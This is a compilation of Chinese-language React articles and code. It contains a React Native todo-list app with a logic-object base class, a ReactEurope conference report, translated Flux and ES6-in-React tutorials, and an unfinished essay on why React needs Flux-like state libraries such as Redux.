let React=require('react-native');
let Immutable = require('immutable');
var BbtRN=require('../../../bbt-react-native');


var {
    BaseLogicObj,
    }=BbtRN;


let {
    AppRegistry,
    Component,
    StyleSheet,
    Text,
    View,
    Navigator,
    TouchableHighlight,
    TouchableOpacity,
    Platform,
    ListView,
    TextInput,
    ScrollView,
    }=React;

//root组件开始-----------------

let  Root =React.createClass({

    //初始化模拟数据，
    data:[{
        name:'aaaaa',
        completed:true,
    },{
        name:'bbbbb',
        completed:false,
    },{
        name:'ccccc',
        completed:false,
    }
    ,{
        name:'ddddd',
        completed:true,
    }],


    componentWillMount(){

        //初始化业务逻辑对象
        this.addTodoObj=new AddTodoObj(this);
        this.todoListObj=new TodoListObj(this);
        this.filterObj=new FilterObj(this);

        //下面可以继续做一些组件初始化动作，比如请求数据等.
        //当然了这些动作最好是业务逻辑对象提供的，这样root组件将非常干净.
        //例如这样：this.todoListObj.queryData();
    },


    //状态初始化
    getInitialState(){
      return {
          data:Immutable.fromJS(this.data),//模拟的初始化数据
          todoName:'',//新任务的text
          curFilter:'all',//过滤条件 all no ok
      }
    },



    //这里组合子view组件 并 注册业务逻辑对象提供的方法到各个子view组件上
    render(){

        return (
            <View style={{marginTop:40,flex:1}}>

                <AddTodo todoName={this.state.todoName}
                        changeText={this.addTodoObj.change.bind(this.addTodoObj)}
                         pressAdd={this.addTodoObj.press.bind(this.addTodoObj)} />

                <TodoList todos={this.state.data}
                          onTodoPress={this.todoListObj.pressTodo.bind(this.todoListObj)} />

                <Footer curFilter={this.state.curFilter}
                    onFilterPress={this.filterObj.filter.bind(this.filterObj)} />

            </View>
        );
    },



});






//业务逻辑对象开始-------------------------可以使用OO的设计方式设计成多个对象

//业务逻辑对象要符合命名规范：以Obj结尾
//BaseLogicObj是架构提供的基类，里面封装了构造器和一些常用取值函数
class AddTodoObj extends BaseLogicObj{

    press(){
        if(!this.getState().todoName)return;
        let list=this.getState().data;
        let todo=Immutable.fromJS({name:this.getState().todoName,completed:false,});
        this.setState({data:list.push(todo),todoName:''});
    }

    change(e){
        this.setState({todoName:e.nativeEvent.text});
    }

}


class TodoListObj extends BaseLogicObj {




    pressTodo(todo){

        let data=this.getState().data;

        let i=data.indexOf(todo);

        let todo2=todo.set('completed',!todo.get('completed'));

        this.setState({data:data.set(i,todo2)});
    }
}


class FilterObj extends BaseLogicObj {


    filter(type){

        let data=this.getState().data.toJS();
        if(type=='all'){
            data.map((todo)=>{
                todo.show=true;
            });
        }else if(type=='no'){
            data.map((todo)=>{
                if(todo.completed)todo.show=false;
                else todo.show=true;
             });
        }else if(type=='ok'){
            data.map((todo)=>{
                if(todo.completed)todo.show=true;
                else todo.show=false;
            });
        }


        this.setState({curFilter:type,data:Immutable.fromJS(data)});
    }



}


//view子组件开始---------------------------


//子view对象中仅仅关注：从this.props转化成view
let Footer=React.createClass({

    render(){

        return (


            <View style={{flexDirection:'row', justifyContent:'flex-end',marginBottom:10,}}>

                <FooterBtn {...this.props} title='全部' name='all'  cur={this.props.curFilter=='all'?true:false} />
                <FooterBtn {...this.props} title='未完成' name='no' cur={this.props.curFilter=='no'?true:false} />
                <FooterBtn {...this.props} title='已完成' name='ok' cur={this.props.curFilter=='ok'?true:false} />

            </View>



        );
    },


});


let FooterBtn=React.createClass({

    render(){

        return (

            <TouchableOpacity onPress={()=>this.props.onFilterPress(this.props.name)}
                              style={[{padding:10,marginRight:10},this.props.cur?{backgroundColor:'green'}:null]} >
                <Text style={[this.props.cur?{color:'fff'}:null]}>
                    {this.props.title}
                </Text>
            </TouchableOpacity>

        );
    },


});


let AddTodo=React.createClass({

    render(){

        return (


            <View style={{flexDirection:'row', alignItems:'center'}}>


                <TextInput value={this.props.todoName}
                    onChange={this.props.changeText}
                    style={{width:200,height:40,borderWidth:1,borderColor:'e5e5e5',margin:10,}}></TextInput>


                <TouchableOpacity onPress={this.props.pressAdd}
                    style={{backgroundColor:'green',padding:10}} >
                    <Text style={{color:'fff'}} >
                        添加任务
                    </Text>
                </TouchableOpacity>

            </View>



        );
    },


});



let Todo=React.createClass({

    render(){
        let todo=this.props.todo;
        return (
            todo.get("show")!=false?
            <TouchableOpacity  onPress={()=>this.props.onTodoPress(todo)}
                style={{padding:10,borderBottomWidth:1,borderBottomColor:'#e5e5e5'}}>
                <Text style={[todo.get('completed')==true?{textDecorationLine:'line-through',color:'#999'}:null]} >
                    {todo.get('completed')==true?'已完成   ':'未完成   '} {todo.get('name')}
                </Text>
            </TouchableOpacity>
             :null
        );
    },


});


let TodoList=React.createClass({
    render(){
        return (
            <ScrollView style={{flex:1}}>
                {this.props.todos.reverse().map((todo, index) => <Todo {...this.props} todo={todo} key={index}  />)}
            </ScrollView>
        );
    },
});




module.exports=Root;



业务逻辑对象基类BaseLogicObj:



'use strict'

class BaseLogicObj{


    constructor(root){
        if(!root){
            console.error('实例化BaseLogicObj必须传入root组件对象.');
        }
        this.root=root;
    }

    getState(){
        return this.root.state;
    }

    setState(s){
        this.root.setState(s);
    }

    getRefs(){
        return this.root.refs;
    }

    getProps(){
        return this.root.props;
    }

}

module.exports=BaseLogicObj;



 ReactEurope Conf 参会感想

作者：strikingly

来源： ReactEurope Conf 参会感想



                    
React 带来的革命性创新是前端世界过去几年最激动人心的变化。自从接触 React 以来，我深信 React 会改变客户端开发者（包括前端、iOS 和 Android）的开发体验。这次在巴黎举办的 ReactEurope Conf 大会是继第一次在 Facebook 总部举办后最大的 React 活动。超过10位来自React、GraphQL、Relay 团队的核心技术成员也出席大会进行分享。这次代表 Strikingly（似乎也是国内唯一家公司）去参加，想写下一些参会感想。


Keynote 1 讲师是来自 Facebook 的 Christopher Chedeau (vjeux)。他分享了 React 生态系统四大方面 （Data, Targets, Language, Packager）的变化。这次大会所有的内容我觉得也都是这四方面的延伸。我印象最深的是 Data 和 Targets，也是这篇文章主要想分享的内容。


Data


React 定义自己为 MVC 中的 View。这让前端开发者从 V 开始去思考 UI 设计。但现在针对数据操作和获取方式，社区里还没有一种公认的方法。这也是任何写 React 应用时最难处理的地方。


Flux


对于 M 和 V，Facebook 提出了 Flux 的概念。之后，几乎每个月出现一新的 Flux 库，他们都有各自的特色，有的对服务器渲染支持比较好，有的运用了更多函数式编程的概念。很多 Flux 库更像是实验，这有助于 React 生态的生长，但不可否认的是，未来会有大量 Flux 库慢慢死去，而只有少数会存留下来或进行合并。。大会上 React Hot Reload 的作者 Dan Abramov 也介绍了自己新的 Flux 库 - Redux。这也是大会上最受瞩目的演讲之一。Redux 认为 Flux Store 就像函数式编程里的 reducer


f(init_state, action) => state


通过这种方式，我们只要存下所有 action 就可以像时光穿梭一样去到任何时间点上的状态。


Redux 应该是现在最函数式的 Flux 库。私下和 Dan Abramov 的交流中，他告诉我，他正在和其他几位 Flux 库作者接触并有意进行合并，也许 Redux 会是少数存留下的 Flux 库之一。


相关演讲：


1 Christopher Chedeau - Keynote


GraphQL / Relay


GraphQL 和 Relay 是我这次参加大会最关心的技术。在构建大型前端应用时，前端和后端工程师通过 API 的方式进行合作。API 也是双方的协议。现在主流的方式是 RESTful API，然而在实践中，我们发现 RESTful 在一些真实生产环境的需求下不是很适用。往往我们需要构建自定义 endpoint，违背了 Restful 的设计理念。GraphQL 是我认为目前最完美的解决方法。这次大会也没有让人失望，推出了 GraphQL 的规范 并 开源了 JavaScript GraphQL 库。


然而要让 GraphQL 成为主流，Facebook 需要打造一个像 React 这样的生态系统。目前只推出了规范 和 GraphQL JavaScript 库（适应于 Node.js 应用）。要想在你自己的应用上用 GraphQL 还必须要有后端语言提供 GraphQL 库的支持。比如 Strikingly 需要 GraphQL Ruby 库。这不仅仅需要前端工程师。我认为这将会比 React 生态系统更难建立。Facebook 需要整个社区的参与才能达到。




（图片来自《Creating a GraphQL Server》[5] 演讲）


Relay


Relay 是 Facebook 提出的在 React 上应用 GraphQL 的方案。React 的基础单位是组件（component），构建大型应用就是组合和嵌套组件。以组件为单位的设计模式是目前社区里最认可的，这也是前端世界的趋势之一。每个组件需要的数据也应该在组件内部定义。Relay 让组件可以自定义其所需要 GraphQL 数据格式，在组件实例化的时候再去 GraphQL 服务器获取数据。Relay 也会自动构建嵌套组件的 GraphQL 查询，这样多个嵌套的组件只需要发一次请求。这次大会也公布了 Relay 将会在8月份开源。


Immutability


React 社区接收了很多函数式编程的想法，其中受 clojure 影响很深。immutable 数据的使用就是来自 clojure 社区。当年 Om，这个用 ClojureScript 写的 React 在速度上居然完虐原生 Javascript 版本的 React。这让整个社区都震惊了。其中一个原因就是 ClojureScript 使用了 immutable 数据。React 社区里也冒出了 immutable.js，这让 javascript 里也能用起 immutable 数据，完美弥补了javascript 做负责数据对象比较的先天性不足。immutable.js 的出现也成为了构建大型 React 应用的必备。本次大会甚至有在讨论是否把 immutable.js 直接纳入 javascript 语言中。我个人认为小型应用不会遇到 virtual DOM 渲染瓶颈，引入 immutable.js 只会让数据操作很累赘。


相关演讲：


2 Dan Abramov - Live React: Hot Reloading with Time Travel
3 Lee Byron - Exploring GraphQL
4 Joseph Savona - Relay: An Application Framework For React

[5] Nick Schrock & Dan Schafer - Creating a GraphQL Server


Targets


对于 Virtual DOM 的讨论，很多人会说速度快过于真正的 DOM。这样的讨论可以让人快速入门理解 React，但是真正写过 React 应用的人会明白速度并不是 Virtual DOM 的精髓。我认为 Virtual DOM 的存在帮助我们做到了两件事。第一是声明式 UI。通过 Virtual DOM，UI 不再是一个不断被更变的 DOM，你只要声明 UI 是怎么生成的，React 会自动帮你把 UI 的改变渲染到真正的 DOM 上。这种新的思维方式让你可以不用手动操作真正的 DOM。第二是多 target。我们一直在讲 web，但 React 让我们做到 web 以外的 target。Virtual DOM 更像是 UI Virual Machine，自动帮你映射到真正的实现上。可以是 浏览器 DOM 、iOS UI、Android UI。在大会上，甚至有人做了 React 映射到 Terminal Text UI [7]。


多 Targets 是这次讨论的主要话题之一。多 targets 的根本是 提高开发者体验。这是本次大会上屡次被提起的概念。我们如何在保持一样的用户体验下，提高开发者体验。


任何一家有多客户端的公司都面临同一个问题：在各种客户端语言里重新造轮子。开发者需要学习新的语言、写和维护类似的功能。提升客户端开发者体验就是减少学习成本和维护成本。这就是 React 提倡的 learn once, write everywhere。


本次大会上也有一些鼓舞人心的消息。Facebook 内部 Ads Manager iOS 版本由 7 位工程师用 React Native 花了 5 个月完成。而 Android 版本，是同一班人，3个月内完成。代码重用率达到了 87%。而且在 React Native 中，大家比较关心的动画效果和速度的问题，也在这次大会上通过 Facebook 工程师 Spencer Ahrens 演讲中的流畅演示得到了令人满意的答案。


多 targets 也可以是在单个平台更深度的结合。这次大会最让我目瞪口呆的是 Sebastian Markbåge 的演讲《DOM as a Second-class Citizen》。演讲中他畅想 React 直接输出到浏览器架构的底层。




这是浏览器的渲染架构




这是 Sebastian Markbåge 认为 React 可以做的事情。


我当时听完后凌乱了。姑且不谈该不该这么做，我觉得 React 通过 Virtual DOM 能让我们有机会做到就已经让我兴奋不已了。也说明了 Facebook 在设计 React 时已经考虑到超越 DOM。真 TM 的 NB。。。


相关演讲：


[6] Spencer Ahrens - React Native: Building Fluid User Experiences

[7] Mikhail Davydov - Back to Text UI

[8] Sebastian Markbåge - DOM as a Second-class Citizen


其他演讲


篇幅原因，我不详细讨论 Language 和 Packager。但对有几个演讲也留下了深刻印象：


Sebastian McKenzie - Improving Your Workflow With Code Transformation


演讲者是 Babel 的作者 Sebastian McKenzie。Babel 是目前社区里最受欢迎的代码编译工具。Facebook 团队甚至已经决定转用 Babel 而不再维护之前内部使用的 jstranform。


使用 webpack 或 browserify 这类工具编译代码已经渐渐成为前端工程师工作流程的一部分。Sebastian 这次分享了编译代码所带来的好处。他也刚在 Twitter 上宣布加入 Facebook，全心做 Babel。期待未来 Babel 能够带来更多的可能性。





Cheng Lou - The State of Animation in React


最早关注 Cheng Lou 是因为他写的 react-tween-state 动画库。一直一来大家都对动画应该在 React 里怎么表达（示）为状态感到困惑。react-tween-state 是我认为最符合 React 思维的做法。把位移存在 state 里，然后通过 javascript 动态渲染新的位置。不过大家对该做法是否能达到满意的速度一直持有保留态度。这次在他的演讲中也展现出了非常出色的效果和速度，非常值得一看。


总结


这次赫门在 JSConf 2015 上提出了前端的摩尔定理：前端每18月会难一倍。虽然他是故意搞笑的，但也确实说明了前端变化的迅速。我觉得前端之所以变化这么快，是因为我们现在面临着前所未有的工程化挑战。今天的前端复杂度跟几年前完全不是一个等级。这也促使着社区要找到在这种复杂度下能保持开发效率和开发体验的工具和设计模式。React 社区从其他领域（游戏渲染、ClojureScript、函数式编程）偷师学艺，结合前端面临的独特问题，提出了一系列解决方案。我觉得 React 社区在各方面都推动着前端社区往前进。这对整个社区都是好事。我也希望前端各个框架，就像  Christopher Chedeau 在 keynote 上说的，停止攻击，互相学习，共同推动整个社区的发展。



  It's an exciting time to be a front-end developer.




郭达峰

CTO of Strikingly.com


感谢 题叶、寸志、沈瑜杰、冯哲锐、王徐阳、徐欣 协助修订校对稿件


（这也是 Strikingly 团队做的首次技术分享，之后我们也会继续分享更多的前端技术及相关资讯，请关注我们的专栏）


 [译] Flux 入门

作者：meikidd

来源： [译] Flux 入门



                    
原文链接：The Flux Quick Start Guide



本文将概括性的介绍如何使用 Flux 架构开发 JavaScript 应用，用尽可能少的篇幅带你熟悉 Flux 的核心概念。你也可以结合 starter kit 一起学习。你最好先对 React 有基本的了解，并且有一些开发 React 组件的经验。如果不熟悉也没关系，可以先读一读这篇文章 The React Quick Start Guide (译注：中文版本 React 入门)。

概念

Flux 是用来构建用户端 Web 应用的架构，它包含三个核心概念：Views, Stores 和 Dispatcher，还有一些次级概念：Actions, Action Types, Action Creators 和 Web Utils。

请耐心学习以下概念定义然后再看后面的教程。当你准备开始开发 Flux 应用之前，建议你再回过头来看一遍基本概念。

核心概念


	Views 即 React 组件。它们负责渲染界面，捕获用户事件，从 Stores 获取数据。


	Stores 用于管理数据。 一个 Store 管理一个区域的数据，当数据变化时它负责通知 Views。


	Dispatcher 接收新数据然后传递给 Stores，Stores 更新数据并通知 Views。




次级概念


	Actions 是传递给 Dispatcher 的对象，包含新数据和 Action Type。


	Action Types 指定了可以创建哪些 Actions，Stores 只会更新特定 Action Type 的 Actions 触发的数据。


	Action Creators 是 Actions 的创建者，并将其传递给 Dispatcher 或 Web Utils。


	Web Utils 是用于与外部 API's 通信的对象。例如 Actions Creator 可能需要从服务器请求数据。




是不是一次给的信息量太多啦？强烈建议你们结合 starter kit 边看文章边敲代码，可以达到更好的学习效果。

提示：这里省略了 constants 和 Web Utils，是为了更快速简单地理解 Flux。更深入阅读 官方示例 能很好地补充这些知识。

Views

部署好 starter kit 后，你会看到在 src 目录下有个 app.js 文件。

var React = require('react');
var Comments = require('./views/comments');
var CommentForm = require('./views/comment-form');

var App = React.createClass({
  
  render: function() {
    return (
      <div>
        <Comments />
        <CommentForm />
      </div>  
    );
  }
});

React.render(<App />, document.getElementById('app'));

上面代码把 Views 渲染到 DOM 中。先忽略 Comments，看一下 CommentFrom 的实现。

var React = require('react');

var CommentActionCreators = require('../actions/comment-action-creators');

var CommentForm = React.creatClass({
  
  onSubmit: function(e) {
    var textNode = this.refs.text.getDOMNode();
    var text = textNode.value;

    textNode.value = '';

    CommentActionCreators.createComment({
      text: text
    });
  },

  render: function() {
    return (
      <div className='comment-form'>
        <textarea ref='text' />
        <button onClick={this.onSubmit}>Submit</button>
      </div>
    );
  }
});

module.exports = CommentForm;

CommentForm 依赖的 CommentActionCreators 是一个 Action Creator (正如它的名字一样)。

当表单提交时 createComment 函数传递了 comment 对象，它的值是根据 textarea 的值构造出来的。让我们开发这个 Action Creator 来接收 comment。

Actions

在 actions 目录里有如下的 comment-action-creators.js 文件。

var AppDispatcher = require('../dispatcher/app-dispatcher');

module.exports = {
  
  createComment: function(comment) {
    var action= {
      actionType: "CREATE_COMMENT",
      comment: comment
    };

    AppDispatcher.dispatch(action);
  }
};

createComment 函数构造了一个 Action，包含 Action Type 和 comment 数据，并将这个 Action 传递给 Dispatcher 的 dispatch 函数。

接下来编写 Dispatcher 用于接收 Actions。

提示：也可以把这些逻辑写在 View 里面 - 直接跟 Dispatcher 通信，但最佳实践是用 Action Creator。它能降低代码的耦合度并给 Dispatcher 提供一个单独的接口。

Dispatcher

在 dispatcher 目录下有一个 app-dispatcher.js 文件。

var Dispatcher = require('flux').Dispatcher;

module.exports = new Dispatcher();

Flux 库的 Dispatcher 提供了一个 dispatch 函数，将接收到的 Actions 传递给所有注册的回调函数，回调函数由 Stores 提供。

提示：这里没有 Dispatcher 的具体实现，源码在这里。



Stores

在 stores 目录下有一个 comment-store.js 文件。

var AppDispatcher = require('../dispatcher/app-dispatcher');

var EventEmitter = require('events').EventEmitter;
var assign = require('object-assign');


var comments = [];

var CommentStore = assign({}, EventEmitter.prototype, {
  
  emitChange: function() {
    this.emit('change');
  },

  addChangeListener: function(callback) {
    this.on('change', callback);
  },

  removeChangeListener: function(callback) {
    this.removeListener('change', callback);
  },

  getAll: function() {
    return comments;
  }
});

AppDispatcher.register(function(action) {
  switch(action.actionType) {

    case "CREAT_COMMENT":
      comments.push(action.comment);
      CommentStore.emitChange();
      break;

    default:
  }
});

module.exports = CommentStore;

这段代码分为两部分：创建 Store 和 注册 Store。

Store 由 EventEmitter.prototype 和自定义对象整合而成。EventEmitter.prototype 给 Store 赋予了订阅和触发事件的能力。

自定义对象定义了订阅和取消订阅事件的函数，同时定义了 getAll 函数返回 comments 数据。

然后，通过 Dispatcher 注册了一个回调函数。当 Dispatcher 调用 dispatch 时传递 Actions 参数给每个注册过的回调函数。

现在我们需要一个 View 来展示 Store 的数据，并订阅数据的变化。

在 views 目录里有个 comments.js 文件。把它修改成如下所示：

var React = require('react');

var CommentStore = require('../stores/comment-store');

function getStateFromStore() {
  return {
    comments: CommentStore.getAll()
  }
}

var Comments = React.createClass({
  
  onChange: function() {
    this.setState(getStateFromStore());
  },

  getInitialState: function() {
    return getStateFromStore();
  },

  componentDidMount: function() {
    CommentStore.addChangeListener(this.onChange);
  },

  componentWillUnmount: function() {
    CommentStore.removeChangeListener(this.onChange);
  },

  render: function() {
    var comments = this.state.comments.map(function(comment, index) {
      return (
        <div className='comment' key={'comment-' + index}>
          {comment.text}
        </div>
      );
    });

    return (
      <div className='comments'>
        {comments}
      </div>
    )
  }
});

module.exports = Comments;

getStateFromStores 函数从 Store 获取 comment 数据，并在 getInitialState 中设置为初始值。

在 componentDidMount 中，onChange 函数作为 addChangeListener 的回调函数，当 Store 触发 change 事件时 onChange 函数将被调用，即当 Store 数据变化时，它用于更新组件的 state 状态。

最后 componentWillUnmount 将 onChange 事件监听从 Store 移除。

结语

现在这个 Flux 应用可以运行起来了，同时我们也学习了 Flux 架构的核心概念：Views, Stores 和 Dispatcher。


	当提交 comment 时，View 调用了 Action Creator


	Action Creator 创建一个 Action 并传给 Dispatcher


	Dispatcher 将 Action 发送给 Store 中注册的回调函数


	Store 更新 comment 数据，并触发一个 change 事件


	View 更新 state 并重新渲染界面




这就是 Flux 的本质，Dispatcher 发送数据给所有 Stores，后者通知 Views 进行更新。

要想更深入理解 Flux 架构，我建议阅读 官方文档，或者看看这个 视频教程，还有 官方示例。

如果本文有什么错误之处，欢迎在 twitter 上联系我，或者给我提 pull request。欢迎大家给我提建议改善这边文章。


 [译]在 React.js 中使用 ES6+

作者：MockingBird

来源： [译]在 React.js 中使用 ES6+



                    
原文地址： http://babeljs.io/blog/2015/06/07/react-on-es6-plus/





在今年对 Instagram Web 进行全新的设计的时候，我喜欢在写 React 组件的时候，用上一些 ES6+ 的新特性。请允许我列举这些能够改变你写 React 应用方式的新特性。比起以往，这些特性能够使你撸起码来更加容易、有趣！

类（Class）

使用 ES6+ 来编写 React 组件最明显的变化就是我们定义组件（类）的语法的方式。我们可以用定义一个继承了 React.Component 的ES6 类来代替原本使用 React.createClass 的来创建类的方式：

class Photo extends React.Component {
  render() {
    return <img alt={this.props.caption} src={this.props.src} />;
  }
}

我们可以发现这种写法使得定义组件的方式变得更加简洁：

// The ES5 way
var Photo = React.createClass({
  handleDoubleTap: function(e) { … },
  render: function() { … },
});
// The ES6+ way
class Photo extends React.Component {
  handleDoubleTap(e) { … }
  render() { … }
}

这样我们可以少写一对圆括号、一个分号、每个方法的冒号和 function 关键字。

所有生命周期方法都可以采用这种方式来定义。 但是 componentWillMount 还可以用 constructor 来代替：

// The ES5 way
var EmbedModal = React.createClass({
  componentWillMount: function() { … },
});
// The ES6+ way
class EmbedModal extends React.Component {
  constructor(props) {
    super(props);
    // Operations usually carried out in componentWillMount go here
  }
}

属性初始化（property initializers）

在 ES6+ 类中，属性类型 prop type 和默认属性 default prop 可以通过类中的 static 来声明。同时，组件的初始状态（ initial state ）可以通过 ES7 的属性初始化（property initializers）来完成：

// The ES5 way
var Video = React.createClass({
  getDefaultProps: function() {
    return {
      autoPlay: false,
      maxLoops: 10,
    };
  },
  getInitialState: function() {
    return {
      loopsRemaining: this.props.maxLoops,
    };
  },
  propTypes: {
    autoPlay: React.PropTypes.bool.isRequired,
    maxLoops: React.PropTypes.number.isRequired,
    posterFrameSrc: React.PropTypes.string.isRequired,
    videoSrc: React.PropTypes.string.isRequired,
  },
});
// The ES6+ way
class Video extends React.Component {
  static defaultProps = {
    autoPlay: false,
    maxLoops: 10,
  }
  static propTypes = {
    autoPlay: React.PropTypes.bool.isRequired,
    maxLoops: React.PropTypes.number.isRequired,
    posterFrameSrc: React.PropTypes.string.isRequired,
    videoSrc: React.PropTypes.string.isRequired,
  }
  state = {
    loopsRemaining: this.props.maxLoops,
  }
}

ES7 中在构造函数（ constructor ）下的属性初始化操作中的 this 指向的是类的实例，所以初始状态（ initial state ）可以通过 this.prop （即传入的参数）来设定。

箭头函数（Arrow function）

React.createClass 方法在你的组件上做了一些额外的绑定工作，以确保在组件实实例的方法内部， this 指向的是组件实例自身。

// Autobinding, brought to you by React.createClass
var PostInfo = React.createClass({
  handleOptionsButtonClick: function(e) {
    // Here, 'this' refers to the component instance.
    this.setState({showOptionsModal: true});
  },
});

由于我们使用 ES6+ 的语法定义类的时候没有采用 React.createClass 的方式，所以，这样看来我们不得不手动来绑定这些方法中 this 的指向：

// Manually bind, wherever you need to
class PostInfo extends React.Component {
  constructor(props) {
    super(props);
    // Manually bind this method to the component instance...
    this.handleOptionsButtonClick = this.handleOptionsButtonClick.bind(this);
  }
  handleOptionsButtonClick(e) {
    // ...to ensure that 'this' refers to the component instance here.
    this.setState({showOptionsModal: true});
  }
}

幸运的是，通过 ES6+ 的箭头函数（ Arrow functions ）和属性初始化（ property initializers ）这两个特性使得把函数的 this 指向绑定为组件的实例变得非常的简单：

class PostInfo extends React.Component {
  handleOptionsButtonClick = (e) => {
    this.setState({showOptionsModal: true});
  }
}

函数体内的 this 对象，绑定定义时所在的对象，而不是使用时所在的对象。而恰好属性初始化（ property initializers ）刚好在这个作用域内。

动态属性名 & 字符串模板

在 ES6+ 中对 对象字面量的扩展 使得我们可以在对象字面量中使用表达式来对属性命名。如果是在 ES5 中，我们也许只能这样做：

var Form = React.createClass({
  onChange: function(inputName, e) {
    var stateToSet = {};
    stateToSet[inputName + 'Value'] = e.target.value;
    this.setState(stateToSet);
  },
});

但是，在 ES6+ 中，我们不仅可以在对象字面量属性的定义中使用表达式，还有使用使用 字符串模板 ：

class Form extends React.Component {
  onChange(inputName, e) {
    this.setState({
      [`${inputName}Value`]: e.target.value,
    });
  }
}

析构 & 扩展运算符

我们在编写组件的过程中，经常遇到要从父组件要把自己的很多属性多传给子组件的情况。有了 ES6+ 的 析构 和 扩展运算符 特性，这变得非常的方便：

class AutoloadingPostsGrid extends React.Component {
  render() {
    var {
      className,
      ...others,  // contains all properties of this.props except for className
    } = this.props;
    return (
      <div className={className}>
        <PostsGrid {...others} />
        <button onClick={this.handleLoadMoreClick}>Load more</button>
      </div>
    );
  }
}

我们可以把 扩展运算符 属性和普通的属性结合起来使用，这样使得我们可以利用优先级来使用属性的默认值和属性的覆盖。下面这个元素会获得一个 override 的类（ class ），及时 this.props 中有传递 className 属性。

<div {...this.props} className="override">
  …
</div>

下面这种写法，可以给元素设定默认的 className：

<div className="base" {...this.props}>
  …
</div>

最后

我希望你能够享受 ES6+ 的这些特性给你在编写 React.js 中带来的好处。感谢我的同事他们为这篇文章作出的贡献，还有，特别的感谢 Babel 团队，使得我们可以随意的使用这些特性。

文章地址：http://blog.mcbird.cn/2015/09/11/react-on-es6-plus/




 React为什么需要Flux-like的库

作者：神猪_uuid

来源： React为什么需要Flux-like的库



                    
从学习React到现在的一点感受

我觉得应该有不少同学和我一样，上来学React,觉得甚是惊艳，看着看着，发现facebook 安利了一个flux，图画的巨复杂,然后各种例子都有用这个东西，没办法，硬着头皮看。看得似懂非懂，然后突然大家又都推荐Redux,号称最简单的flux-like的实现，结果实现的源码是很简单，但是文档是源码的几十倍，概念甩一脸，写个简单东西，要建十几个文件，写得云里雾里。

有没有想到，为什么要用Flux这类东西？本篇的定位是让大家知道有个脉络,所以不会太注意措辞的准确性.

React的数据流向

React只是一个view层的解决方案，光有界面没用，还得加上数据才行。React通过props和state去渲染界面，所以有个很形象的描述UI = f(props,state).

有数据，就有数据通信的问题。react是单向数据流，父组件通过props把数据传递给子组件。但是数据的流向不可能只有这一种。


	祖父组件到孙子组件。
这个看上去只是父到子的衍生,但是祖祖祖父到孙子组件呢。这个react在（好像是）0.13时通过context基本解决了，关于context，之前没接触的同学，可以看文档


	子到父。下面是一种方案：父给子传递一个函数，子在只要调用这个函数，父就能得到相关的数据。但是孙子到祖祖祖父呢。。


	非父子关系：基本可以叫做是兄弟关系，以网页为例，总归有一个共同的祖先<body>，但是有可能是非常非常远的兄弟。这个怎么处理。




组件的一些关系和相应的通信方式，官方有简单的说明，见文档

对于上面的2，3两点,用react本事的机制，写出来都很别扭，特别是第3点。两个不相关的地方，要数据通信，最简单就是一个全局变量吗。当然光有全局变量还不行，你改了全局变量，其他所有对这个变量感兴趣React组件的都要被通知到,这样才能相应改变界面。你如果接触到设计模式，应该能想到观察者模式(中介者模式也可以,实际上flux更像中介者中,不过观察者应该接受度更高点,而且这里不影响理解)。

其实官方文档中，也有些小线索。

For communication between two components that don't have a parent-child relationship, you can set up your own global event system. Subscribe to events in componentDidMount(), unsubscribe in componentWillUnmount(), and call setState() when you receive an event. Flux pattern is one of the possible ways to arrange this.



这段的关键是you can set up your own global event system。所以你只要去研究以前各种事件系统是怎么设计，就可以自己撸一套 **ux了。

**UX的关键构成

梳理了一下，React需要配合Flux-Like的库去使用，是因为要解决通信问题。通信的关键有一下几点：


	数据，这个不用说的吧。因为react中，通过setState去触发改变界面，命名成state


	各种事件，叫event可能更直观，但是大家都叫它action,一个意思，发生了一个动作。这个动作有一下几个关键属性：什么动作，谁发出的（这个我看各个类flux库中，好像都没处理），有没有额外信息吗。


	事件发生，要分发出去，包括改变数据，然后通知给所有监听数据变化的Listeners


	注册监听者。




这些都是大家能想象到。好了，根据这几点，一个简单的Myux就可以写了

class Myux{
    state:{},
    actionTypes:{},
    dispatch(){},
    subscribe(){}
    listeners:[]
}


与上面四个组成部分项对应。来个例子吧，以计数器为例吧。


class CountStore{
    static actionTypes:{
        UP:'UP', //你英语好，你用increase
        DOWN:"DOWN"
    }
    
    state:0 //数据，计数开始是零
    listeners:[]
    
    dispatch(actionType){
        if(actionType === CountStore.actionTypes.UP){
            this.state++;
        }
        if(actionType === CountStore.actionTypes.DOWN){
            this.state--;
        }
        this.listeners.forEach((ln)=>{
            ln(actionType,this,undefined)//对应什么动作，谁发出的，额外信息。
        })
    }
    
    subscribe(ln){
        this.listeners.push(ln)
        //返回一个函数，调用，就取消注册
        return ()=>{
            const index = this.listeners.indexOf(ln);
            if(index !== -1){
                this.listeners.splice(index,1)
            }
        }
    }
}


react的组件里，只要注册成listener，然后state发生变化，被通知到，调用setState进行视图更新就好。

class CountComponent extends React.Component{
    constructor(props,context){
        super(props,context)
        const store = this.props.store;
        this.state = store.getState();
        
    }
    
    componentDidMount(){
        this.unsubscribe = store.subscribe((actionType,store)=>{
            if(this.state !== store.getState()){
                this.setState(store.getState());
            }
        })
    }
    
    componentWillUnmount(){
        if(typeof this.unsubscribe === 'function'){
            this.unsubscribe();
        }
    }
    
    
    render(){
        const state = this.state
        return <div>{state}</div>
    }
}


使用吗，直接mount到body上，会报warning，忽略...

const countStore = new CountStore()
ReactDOM.render(
    <CountComponent store={countStore}/>,
    document.body
)


这样，只要在任何地方，countStore.dispatch(upOrDown),CountComponent里的数字就会加加减减。
可以想想一下，如果页面有2，3个组件要根据计数器的数值，做界面的相应变化，都是可以轻松满足的。

当然，如果只有一个组件用需要这个store，那么单纯代码上，这样写，要多写很多东西。但是谁知道以后页面不会加一个要共用这个store的组件,这时候这个store就是组件间通信的法宝了。

实际情况要复杂

上面只有一个store，这是store还只有一个state,这个太简单了。实际，你的应用可能要维护多个状态。怎么办


	
一个store里一个state，然后多个store


    ListStore => ListState
    DetailStore => DetailState




	
全局就一个store，state是一个状态树，整个应用需要的state，都在这个树里。

    GlobalStore => state:{list:[],detail:{}} //...
    

还有一个问题dispatch,是全局一个dispatch,还是每个store一个dispatch。





这些分歧，加上函数式等，就导致了有flux,reflux,redux。。

还有各个事件之间，有可能存在依赖关系，A事件后，B也触发。又要加waitFor和中间件等概念。不过整体来说，就这些东西。

各种库特点大串烧

redux的特点

redux的文档里，有三大原则，有了上面的概念，我们来对照看一下


	Single source of truth：就是更改应用一个state tree，储存在一个store里，这种情况，也只能有一个dispatch


	State is read-only：state是全局的，如果不是只读的，很难维护。这个上面没有体现，但是也是很自然的想法。


	Mutations are written as pure functions：这个算redux最大的特点，引入了reducers的概念，和第二点有相辅相成的感觉。




